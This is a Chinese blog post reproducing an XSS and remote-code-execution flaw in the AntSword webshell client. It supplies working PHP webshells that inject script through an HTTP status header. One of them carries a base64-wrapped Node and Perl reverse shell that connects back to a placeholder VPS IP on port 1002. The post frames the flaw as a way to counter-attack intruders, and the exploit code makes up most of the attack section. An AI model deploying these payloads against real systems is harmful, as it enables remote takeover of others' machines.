中国蚁剑居然爆出XSS\RCE

96
清水川崎
0.1 2019.04.12 12:21 字数 344

前言

在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞


中国蚁剑的GitHub项目问题页面

看到这里我决定搭建环境,本地复现一下

复现

  • 1 环境准备
    由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。


    Xmapp

    那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象
    既然被黑了,那肯定上了webshell。

  • 2 准备webshell
    准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell
    XSS的WebShell如下:
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果


Xmapp

中国蚁剑

XSS

现在我们来反弹攻击者的shell

require('child_process').exec('perl -e \'use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

将上述代码中的vpsip改为取证者的vpsip(公网IP),进行BASE64编码,并与下面的代码进行合并

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`base64代码`,`base64`).toString())'>");
?>

完成以后,依然存放到Xmapp的DashBoard目录下,然后在vps上面进行监听1002端口(随意端口都行)


Xmapp

监听端口

接着我们模拟攻击者使用中国蚁剑连接webshell


中国蚁剑

中国蚁剑马上报错
报错

但是成功反弹攻击者shell
反弹攻击者shell

成因

根据问题发现者的描述,在于中国蚁剑源码中如下文件的206行
~/source/modules/filemanage/index.js

已修复

目前中国蚁剑已修复,但对于很多攻击者来说,第一时间若没有及时更新,则执法部门即可利用该漏洞进行调查取证、攻击溯源,而该漏洞对于打击网络犯罪必将提供很大帮助。

網絡安全
Web note ad 1